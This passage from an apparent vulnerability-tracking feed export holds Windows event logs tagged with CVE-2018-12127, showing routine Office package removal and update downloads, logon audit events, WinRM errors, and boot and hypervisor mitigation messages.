deprovisioned\tInformation\tMicrosoft-Windows-Privacy-Auditing/Operational\tMicrosoft-Windows-Privacy-Auditing\n05.09.2026 09:16:53.054\t2415\tAn application was unregistered with the following parameters: Microsoft.Office.ActionsServer_8wekyb3d8bbwe!Microsoft.Office.ActionsServer [AppUserModelId] The operation completed successfully. [ErrorCode]\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 09:16:53.061\t271\tSRCache successfully updated [Options=0x0]\tVerbose\tMicrosoft-Windows-StateRepository/Operational\tMicrosoft-Windows-StateRepository\n05.09.2026 09:16:53.061\t617\tSuccessfully updated the status for package Microsoft.Office.ActionsServer_16.0.20326.20112_neutral__8wekyb3d8bbwe and user S-1-5-21-3712849175-2219398513-4278588552-1006 (Clear=0xFFFFFFFF, Set=0x0).\tVerbose\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:53.066\t41\tSuccessfully deleted AppContainer Microsoft.Office.ActionsServer_8wekyb3d8bbwe.\tInformation\tMicrosoft-Windows-AppModel-Runtime/Admin\tMicrosoft-Windows-AppModel-Runtime\n05.09.2026 09:16:53.091\t2562\t\tInformation\tApplication\tMicrosoft-Windows-AppXDeploymentServer/Operational\n05.09.2026 09:16:53.131\t271\tSRCache successfully updated [Options=0x0]\tVerbose\tMicrosoft-Windows-StateRepository/Operational\tMicrosoft-Windows-StateRepository\n05.09.2026 09:16:53.134\t818\tDetermining packages to be installed during logon for user: S-1-5-21-3712849175-2219398513-4278588552-1006.\tVerbose\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:53.138\t400\tDeployment Remove operation with target volume C: on Package Microsoft.Office.ActionsServer_16.0.20326.20112_neutral__8wekyb3d8bbwe from:  (Microsoft.Office.ActionsServer_16.0.20326.20112_neutral__8wekyb3d8bbwe)  finished successfully.\tInformation\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:53.141\t472\tMoving package folder \\\\?\\C:\\Program Files\\WindowsApps\\Microsoft.Office.ActionsServer_16.0.20326.20112_neutral__8wekyb3d8bbwe to \\\\?\\C:\\Program Files\\WindowsApps\\Deleted\\Microsoft.Office.ActionsServer_16.0.20326.20112_neutral__8wekyb3d8bbwe21e230d2-de2e-443e-8514-9c932ad21344. Result: 0x0.\tVerbose\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:53.152\t271\tSRCache successfully updated [Options=0x0]\tVerbose\tMicrosoft-Windows-StateRepository/Operational\tMicrosoft-Windows-StateRepository\n05.09.2026 09:16:54.669\t3\t{\"category\":\"PresentMonWrapper\",\"level\":\"Warning\",\"message\":\"PresentMonSession already tracking\",\"parameters\":{\"handle\":\"235276AB010\",\"process\":0}}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:16:54.672\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:16:56.928\t4624\t\"An account was successfully logged on.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\nLogon Information:\n\tLogon Type:\t\t5\n\tRestricted Admin Mode:\t-\n\tRemote Credential Guard:\t-\n\tVirtual Account:\t\tNo\n\tElevated Token:\t\tYes\n\nImpersonation Level:\t\tImpersonation\n\nNew Logon:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t\u0421\u0418\u0421\u0422\u0415\u041c\u0410\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon ID:\t\t0x3E7\n\tLinked Logon ID:\t\t0x0\n\tNetwork Account Name:\t-\n\tNetwork Account Domain:\t-\n\tLogon GUID:\t\t{00000000-0000-0000-0000-000000000000}\n\nProcess Information:\n\tProcess ID:\t\t0x68c\n\tProcess Name:\t\tC:\\Windows\\System32\\services.exe\n\nNetwork Information:\n\tWorkstation Name:\t-\n\tSource Network Address:\t-\n\tSource Port:\t\t-\n\nDetailed Authentication Information:\n\tLogon Process:\t\tAdvapi  \n\tAuthentication Package:\tNegotiate\n\tTransited Services:\t-\n\tPackage Name (NTLM only):\t-\n\tKey Length:\t\t0\n\nThis event is generated when a logon session is created. It is generated on the computer that was accessed.\n\nThe subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\n\nThe logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).\n\nThe New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.\n\nThe network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\n\nThe impersonation level field indicates the extent to which a process in the logon session can impersonate.\n\nThe authentication information fields provide detailed information about this specific logon request.\n\t- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.\n\t- Transited services indicate which intermediate services have participated in this logon request.\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 09:16:56.928\t4672\t\"Special privileges assigned to new logon.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t\u0421\u0418\u0421\u0422\u0415\u041c\u0410\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon ID:\t\t0x3E7\n\nPrivileges:\t\tSeAssignPrimaryTokenPrivilege\n\t\t\tSeTcbPrivilege\n\t\t\tSeSecurityPrivilege\n\t\t\tSeTakeOwnershipPrivilege\n\t\t\tSeLoadDriverPrivilege\n\t\t\tSeBackupPrivilege\n\t\t\tSeRestorePrivilege\n\t\t\tSeDebugPrivilege\n\t\t\tSeAuditPrivilege\n\t\t\tSeSystemEnvironmentPrivilege\n\t\t\tSeImpersonatePrivilege\n\t\t\tSeDelegateSessionUserImpersonatePrivilege\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 09:16:56.965\t7040\tThe start type of the \u0424\u043e\u043d\u043e\u0432\u0430\u044f \u0438\u043d\u0442\u0435\u043b\u043b\u0435\u043a\u0442\u0443\u0430\u043b\u044c\u043d\u0430\u044f \u0441\u043b\u0443\u0436\u0431\u0430 \u043f\u0435\u0440\u0435\u0434\u0430\u0447\u0438 (BITS) service was changed from \u0412\u0440\u0443\u0447\u043d\u0443\u044e to \u0410\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0447\u0435\u0441\u043a\u0438.\tInformation\tSystem\tService Control Manager\n05.09.2026 09:16:56.975\t306\tThe BITS service loaded the job list from disk.\tVerbose\tMicrosoft-Windows-Bits-Client/Operational\tMicrosoft-Windows-Bits-Client\n05.09.2026 09:16:56.980\t145\tWSMan operation Enumeration started with resourceUri http://schemas.microsoft.com/wbem/wsman/1/config/listener\tInformation\tMicrosoft-Windows-WinRM/Operational\tMicrosoft-Windows-WinRM\n05.09.2026 09:16:57.771\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:17:00.107\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:17:01.067\t254\tActivity Transfer\tInformation\tMicrosoft-Windows-WinRM/Operational\tMicrosoft-Windows-WinRM\n05.09.2026 09:17:01.067\t161\t\u041a\u043b\u0438\u0435\u043d\u0442\u0443 \u043d\u0435 \u0443\u0434\u0430\u0435\u0442\u0441\u044f \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0438\u0442\u044c\u0441\u044f \u043a \u0443\u0437\u043b\u0443 \u043d\u0430\u0437\u043d\u0430\u0447\u0435\u043d\u0438\u044f, \u0443\u043a\u0430\u0437\u0430\u043d\u043d\u043e\u043c\u0443 \u0432 \u0437\u0430\u043f\u0440\u043e\u0441\u0435. \u0423\u0431\u0435\u0434\u0438\u0442\u0435\u0441\u044c, \u0447\u0442\u043e \u0441\u043b\u0443\u0436\u0431\u0430 \u043d\u0430 \u0443\u0437\u043b\u0435 \u043d\u0430\u0437\u043d\u0430\u0447\u0435\u043d\u0438\u044f \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442 \u0438 \u043f\u0440\u0438\u043d\u0438\u043c\u0430\u0435\u0442 \u0437\u0430\u043f\u0440\u043e\u0441\u044b. \u041e\u0437\u043d\u0430\u043a\u043e\u043c\u044c\u0442\u0435\u0441\u044c \u0441 \u0436\u0443\u0440\u043d\u0430\u043b\u0430\u043c\u0438 \u0438 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u0446\u0438\u0435\u0439 \u0434\u043b\u044f \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0435\u043d\u0438\u044f \u0437\u0430\u043f\u0443\u0449\u0435\u043d\u043d\u043e\u0439 \u043d\u0430 \u0443\u0437\u043b\u0435 \u043d\u0430\u0437\u043d\u0430\u0447\u0435\u043d\u0438\u044f \u0441\u043b\u0443\u0436\u0431\u044b WS-Management (\u0447\u0430\u0449\u0435 \u0432\u0441\u0435\u0433\u043e \u044d\u0442\u043e IIS \u0438\u043b\u0438 WinRM). \u0415\u0441\u043b\u0438 \u044d\u0442\u043e \u0441\u043b\u0443\u0436\u0431\u0430 WinRM, \u0442\u043e \u0434\u043b\u044f \u0430\u043d\u0430\u043b\u0438\u0437\u0430 \u0441\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u044f \u0438 \u043d\u0430\u0441\u0442\u0440\u043e\u0439\u043a\u0438 \u044d\u0442\u043e\u0439 \u0441\u043b\u0443\u0436\u0431\u044b \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0439\u0442\u0435 \u043d\u0430 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u043c \u0443\u0437\u043b\u0435 \u043a\u043e\u043c\u0430\u043d\u0434\u0443 \"winrm quickconfig\".\tError\tMicrosoft-Windows-WinRM/Operational\tMicrosoft-Windows-WinRM\n05.09.2026 09:17:01.067\t142\tWSMan operation Enumeration failed, error code 2150858770\tError\tMicrosoft-Windows-WinRM/Operational\tMicrosoft-Windows-WinRM\n05.09.2026 09:17:01.102\t4799\t\"A security-enabled local group membership was enumerated.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\nGroup:\n\tSecurity ID:\t\tS-1-5-32-544\n\tGroup Name:\t\t\u0410\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u044b\n\tGroup Domain:\t\tBuiltin\n\nProcess Information:\n\tProcess ID:\t\t0x379c\n\tProcess Name:\t\tC:\\Windows\\System32\\svchost.exe\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 09:17:01.103\t4799\t\"A security-enabled local group membership was enumerated.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\nGroup:\n\tSecurity ID:\t\tS-1-5-32-551\n\tGroup Name:\t\t\u041e\u043f\u0435\u0440\u0430\u0442\u043e\u0440\u044b \u0430\u0440\u0445\u0438\u0432\u0430\n\tGroup Domain:\t\tBuiltin\n\nProcess Information:\n\tProcess ID:\t\t0x379c\n\tProcess Name:\t\tC:\\Windows\\System32\\svchost.exe\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 09:17:01.259\t3\t\"The BITS service created a new job.\nTransfer job: Microsoft Office Click-to-Run\nJob ID: {38a663b2-655a-4099-b6b9-05b5586514e3}\nOwner: HONOR-FRG-X\\admin\nProcess Path: C:\\Users\\admin\\AppData\\Local\\Temp\\Setup055E06B0-880E-4FE1-969E-58992B5940F0\\setup.exe\nProcess ID: 19332\"\tInformation\tMicrosoft-Windows-Bits-Client/Operational\tMicrosoft-Windows-Bits-Client\n05.09.2026 09:17:01.268\t16403\t\tInformation\tMicrosoft-Windows-Bits-Client/Operational\tMicrosoft-Windows-Bits-Client\n05.09.2026 09:17:01.465\t310\tThe initialization of the peer helper modules failed with the following error:  0x80070032.\tWarning\tMicrosoft-Windows-Bits-Client/Operational\tMicrosoft-Windows-Bits-Client\n05.09.2026 09:17:01.475\t59\tBITS started the Microsoft Office Click-to-Run transfer job that is associated with the http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v64_16.0.20326.20132.cab URL.\tInformation\tMicrosoft-Windows-Bits-Client/Operational\tMicrosoft-Windows-Bits-Client\n05.09.2026 09:17:01.581\t60\tBITS stopped transferring the Microsoft Office Click-to-Run transfer job that is associated with the http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v64_16.0.20326.20132.cab URL. The status code is 0x0.\tInformation\tMicrosoft-Windows-Bits-Client/Operational\tMicrosoft-Windows-Bits-Client\n05.09.2026 09:17:01.583\t4\t\"The transfer job is complete.\nUser: HONOR-FRG-X\\admin\nTransfer job: Microsoft Office Click-to-Run\nJob ID: {38a663b2-655a-4099-b6b9-05b5586514e3}\nOwner: HONOR-FRG-X\\admin\nFile count: 1\"\tInformation\tMicrosoft-Windows-Bits-Client/Operational\tMicrosoft-Windows-Bits-Client\n05.09.2026 09:17:01.586\t3\t\"The BITS service created a new job.\nTransfer job: Microsoft Office Click-to-Run\nJob ID: {6f42b80d-7019-4f62-b47c-c9cc61bf79ee}\nOwner: HONOR-FRG-X\\admin\nProcess Path: C:\\Users\\admin\\AppData\\Local\\Temp\\Setup055E06B0-880E-4FE1-969E-58992B5940F0\\setup.exe\nProcess ID: 19332\"\tInformation\tMicrosoft-Windows-Bits-Client/Operational\tMicrosoft-Windows-Bits-Client\n05.09.2026 09:17:01.590\t16403\t\tInformation\tMicrosoft-Windows-Bits-Client/Operational\tMicrosoft-Windows-Bits-Client\n05.09.2026 09:17:01.697\t59\tBITS started the Microsoft Office Click-to-Run transfer job that is associated with the http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v64_16.0.20326.20132.cab URL.\tInformation\tMicrosoft-Windows-Bits-Client/Operational\tMicrosoft-Windows-Bits-Client\n05.09.2026 09:17:01.856\t60\tBITS stopped transferring the Microsoft Office Click-to-Run transfer job that is associated with the http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v64_16.0.20326.20132.cab URL. The status code is 0x0.\tInformation\tMicrosoft-Windows-Bits-Client/Operational\tMicrosoft-Windows-Bits-Client\n05.09.2026 09:17:01.858\t4\t\"The transfer job is complete.\nUser: HONOR-FRG-X\\admin\nTransfer job: Microsoft Office Click-to-Run\nJob ID: {6f42b80d-7019-4f62-b47c-c9cc61bf79ee}\nOwner: HONOR-FRG-X\\admin\nFile count: 1\"\tInformation\tMicrosoft-Windows-Bits-Client/Operational\tMicrosoft-Windows-Bits-Client\n05.09.2026 09:17:02.444\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:17:17.018\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:17:25.037\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:17:26.473\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:17:31.143\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:17:34.478\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:17:36.378\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:17:36.932\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:17:37.822\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:17:38.934\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:17:44.280\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:17:44.834\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:17:45.806\t8001\t\"Skipping license manager: PFN Microsoft.ScreenSketch_11.2602.49.0_x64__8wekyb3d8bbwe\nFunction: InvokeLicenseManagerRequired\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\apisethost\\activationapis.cpp (373)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 09:17:45.820\t8001\t\"Skipping license manager: PFN Microsoft.ScreenSketch_11.2602.49.0_x64__8wekyb3d8bbwe\nFunction: InvokeLicenseManagerRequired\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\apisethost\\activationapis.cpp (373)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 09:17:45.821\t219\tPSMFlags for Desktop AppX process %1 with applicationID %2 is %3.\tInformation\tMicrosoft-Windows-AppModel-Runtime/Admin\tMicrosoft-Windows-AppModel-Runtime\n05.09.2026 09:17:45.855\t210\tCreated Desktop AppX container {245CDFFE-A8C9-11F1-B7FF-289200F24A99} for package Microsoft.ScreenSketch_11.2602.49.0_x64__8wekyb3d8bbwe.\tInformation\tMicrosoft-Windows-AppModel-Runtime/Admin\tMicrosoft-Windows-AppModel-Runtime\n05.09.2026 09:17:45.855\t211\tAdded process 16932 to Desktop AppX container 245cdffe-a8c9-11f1-b7ff-289200f24a99 for package Microsoft.ScreenSketch_11.2602.49.0_x64__8wekyb3d8bbwe.\tInformation\tMicrosoft-Windows-AppModel-Runtime/Admin\tMicrosoft-Windows-AppModel-Runtime\n05.09.2026 09:17:45.857\t201\tCreated process 16932 for application Microsoft.ScreenSketch_8wekyb3d8bbwe!App in package Microsoft.ScreenSketch_11.2602.49.0_x64__8wekyb3d8bbwe. [LaunchProcess]\tInformation\tMicrosoft-Windows-AppModel-Runtime/Admin\tMicrosoft-Windows-AppModel-Runtime\n05.09.2026 09:17:46.353\t3\t{\"category\":\"PresentMonWrapper\",\"level\":\"Warning\",\"message\":\"PresentMonSession already tracking\",\"parameters\":{\"handle\":\"235276AB010\",\"process\":0}}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:17:46.358\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"SnippingTool\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:17:51.490\t3055\tSome toast notifications have been cleared - informed session 1.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 09:17:51.512\t2416\tA local notification was received from Microsoft.ScreenSketch_8wekyb3d8bbwe!App [AppUserModelId] with a 0 [NotificationId] through an application endpoint.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 09:17:51.518\t2418\tA local notification was submitted to threadpool: Microsoft.ScreenSketch_8wekyb3d8bbwe!App [AppUserModelId] toast [NotificationType] 9403 [NotificationTrackingId] Local [NotificationSource].\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 09:17:51.523\t3052\tToast with notification tracking id 9403 is being delivered to Microsoft.ScreenSketch_8wekyb3d8bbwe!App on session 1.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 09:17:51.527\t3153\tToast with notification tracking id 9403 is delivered to Microsoft.ScreenSketch_8wekyb3d8bbwe!App on session 1.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 09:17:51.658\t3049\tEndpoint 0x0 is being cleanedup\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n", "vulnerability": "CVE-2018-12127", "author": {"login": "automation"}}, {"uuid": "6cd191cc-1b84-425f-997c-1f61b7b5b6f4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T08:58:39.569618+00:00", "type": "seen", "source": "https://gist.github.com/fgh130/1e11ee6c9642a5411cad5d6858526fc7", "content": "Event Time\tEvent ID\tDescription\tLevel\tChannel\tProvider\n05.09.2026 08:28:48.091\t12\tThe operating system started at system time \u200e2026\u200e-\u200e09\u200e-\u200e05T01:28:47.500000000Z.\tInformation\tSystem\tMicrosoft-Windows-Kernel-General\n05.09.2026 08:28:48.091\t25\t\"The system time was initialized to \u200e2026\u200e-\u200e09\u200e-\u200e05T01:28:47.500000000Z. \n\nLoader time: \u200e2026\u200e-\u200e09\u200e-\u200e05T01:28:46.000000000Z\nInternal boot flags: 0x2\nHAL RTC error code: 0x0\nRTC time is in UTC: false\nSoft boot: false\nSuccess: true\nPhase: 0\"\tInformation\tSystem\tMicrosoft-Windows-Kernel-General\n05.09.2026 08:28:48.091\t153\tVirtualization-based security (policies: VBS Enabled,VSM Required,Boot Chain Signer Soft Enforced) is enabled due to HyperV.\tInformation\tSystem\tMicrosoft-Windows-Kernel-Boot\n05.09.2026 08:28:48.091\t82\tTrace point: Function:SipaInsertTcgLog Point:0 Status:STATUS_SUCCESS\tInformation\tMicrosoft-Windows-Kernel-Boot/Operational\tMicrosoft-Windows-Kernel-Boot\n05.09.2026 08:28:48.091\t18\tThere are 0x1 boot options on this system.\tInformation\tSystem\tMicrosoft-Windows-Kernel-Boot\n05.09.2026 08:28:48.091\t32\tThe bootmgr spent 0 ms waiting for user input.\tInformation\tSystem\tMicrosoft-Windows-Kernel-Boot\n05.09.2026 08:28:48.091\t20\tThe last shutdown's success status was true. The last boot's success status was true.\tInformation\tSystem\tMicrosoft-Windows-Kernel-Boot\n05.09.2026 08:28:48.091\t39\tHypervisor Load Options -  IGNOREMEMPART=1 .\tInformation\tMicrosoft-Windows-Hyper-V-Hypervisor-Admin\tMicrosoft-Windows-Hyper-V-Hypervisor\n05.09.2026 08:28:48.091\t156\tHypervisor initial page allocation NUMA policy: Proportional NUMA distribution\tInformation\tMicrosoft-Windows-Hyper-V-Hypervisor-Admin\tMicrosoft-Windows-Hyper-V-Hypervisor\n05.09.2026 08:28:48.091\t238\tEFI time zone bias: 2047. Daylight flags: 0. Firmware time: \u200e2026\u200e-\u200e09\u200e-\u200e05T08:28:46.000000000Z.\tInformation\tSystem\tMicrosoft-Windows-Kernel-Boot\n05.09.2026 08:28:48.091\t85\t\"Read and Unseal Master Key Array Package Status\n\nStatus: STATUS_SUCCESS\nPrimarySealedBlobName: VsmLocalKey2\nSecondaryProtectorVariableName: VsmLocalKeyProtector\nBlobFromUefiVariableSize: 723\nUefiContentIsSealed: 1\nUnsealedBlobSize: 210\nPcr7SealingUsed: 1\nPkgTpmSealMaskLocal: 0x880\nPkgTpmCreationMaskLocal: 0x880\nNeedToResealKeyPkg: 0\nNeedToResealBackup: 0\nNeedToResealPca2023Backup: 0\nPlaintextBlobSize: 210\nPlaintextIsLegacyFormat: 0\nUefiBlobIsCorrupt: 0\nNewKeyID: 0\nVerifiedMicrosoftAuthority: 0\nContainsAuthorityData: 0\nBootmgrAuthorityEventCount: 0\nAuthority: 2\n\nSubstatus\n\nPrimaryBlobUnsealStatus: STATUS_SUCCESS\nBackupBlobUnsealStatus: STATUS_WAIT_1\nPca2023ProtectorUnsealStatus: STATUS_WAIT_1\nBackupBlobValidityCheckStatus: {Object Exists}\nAn attempt was made to create an object and the object name already existed.\nBackupBlobStillValid: true\nPca2023ProtectorValidityCheckStatus: STATUS_WAIT_1\nPca2023ProtectorStillValid: false\nPrimaryBlobResealStatus: STATUS_WAIT_1\nBackupBlobResealStatus: STATUS_WAIT_1\nPca2023ProtectorResealStatus: STATUS_WAIT_1\nV2ProtectorsUsed: 0\nLegacyUefiVarQueryStatus: STATUS_WAIT_1\nLegacyUefiVarCleanupStatus: STATUS_WAIT_1\nActivePolicyVersion: 0\nLatchedPolicyVersion: 0\nUnlatchedPolicyVersion: 0\n\"\tInformation\tMicrosoft-Windows-Kernel-Boot/Operational\tMicrosoft-Windows-Kernel-Boot\n05.09.2026 08:28:48.091\t80\tFASR Platform Verification. FASR cert present: 0. FASR cert signature validation status: 0x1. BootmgrAuthorityEventCount: 0x1. VerifiedMicrosoftAuthority: 1. FASR PCR values validation status: 0x1. PCR mismatch index: -1. FASR cert size: 0. FASR cert: . FASR signature size: 0. FASR signature: .\tInformation\tMicrosoft-Windows-Kernel-Boot/Operational\tMicrosoft-Windows-Kernel-Boot\n05.09.2026 08:28:48.091\t51\tVSM Master Encryption Key Provisioning. Using cached copy status: 0x0. Primary Blob Unseal Status: 0x0. Backup Blob Unseal Status: 0x1. Pca2023 Protector Unseal Status: 0x1. LostOemPk Protector Unseal Status: 0x1. Backup Blob Validity Check Status: 0x40000000. Backup Blob Validity Check Result: true. Pca2023 Protector Validity Check Status: 0x1. Pca2023 Protector Validity Check Result: false. Primary Blob Reseal Status: 0x1. Backup Blob Reseal Status: 0x1. Pca2023 Protector Reseal Status: 0x1. New key generation status: 0x1. Sealing status: 0x1. TPM PCR mask: 0x880. Tpm Counter validation status: 0x2. Tpm Counter creation status: 0x1. Backup sealed blob used: false. Pca2023 Protector cleaned up post upgrade status: 0x1.\tInformation\tMicrosoft-Windows-Kernel-Boot/Operational\tMicrosoft-Windows-Kernel-Boot\n05.09.2026 08:28:48.091\t45\tVSM Identity Key Provisioning. Unsealing cached copy status: 0xC0280018. New key generation status: 0x0. Measuring to PCR status: 0x0. Sealing and caching status: 0x0.\tInformation\tMicrosoft-Windows-Kernel-Boot/Operational\tMicrosoft-Windows-Kernel-Boot\n05.09.2026 08:28:48.091\t25\tThe boot menu policy was 0x1.\tInformation\tSystem\tMicrosoft-Windows-Kernel-Boot\n05.09.2026 08:28:48.091\t27\tThe boot type was 0x0.\tInformation\tSystem\tMicrosoft-Windows-Kernel-Boot\n05.09.2026 08:28:48.099\t1\tHypervisor successfully started.\tInformation\tSystem\tMicrosoft-Windows-Hyper-V-Hypervisor\n05.09.2026 08:28:48.099\t2\tHypervisor scheduler type is 0x4.\tInformation\tSystem\tMicrosoft-Windows-Hyper-V-Hypervisor\n05.09.2026 08:28:48.099\t129\t\"Hypervisor initialized I/O remapping.\n\nHardware present: true\nHardware enabled: true\nPolicy: 0x0\nEnabled features: 0x63\nInternal information: 0x0\nProblems: 0x0\nAdditional information: 0x0\"\tInformation\tSystem\tMicrosoft-Windows-Hyper-V-Hypervisor\n05.09.2026 08:28:48.099\t156\t\"Hypervisor configured mitigations for CVE-2018-3646 for virtual machines.\n\nProcessor not affected: true\nProcessor family not affected: false\nProcessor supports cache flush: true\nHyperThreading enabled: false\nParent hypervisor applies mitigations: false\nMitigations 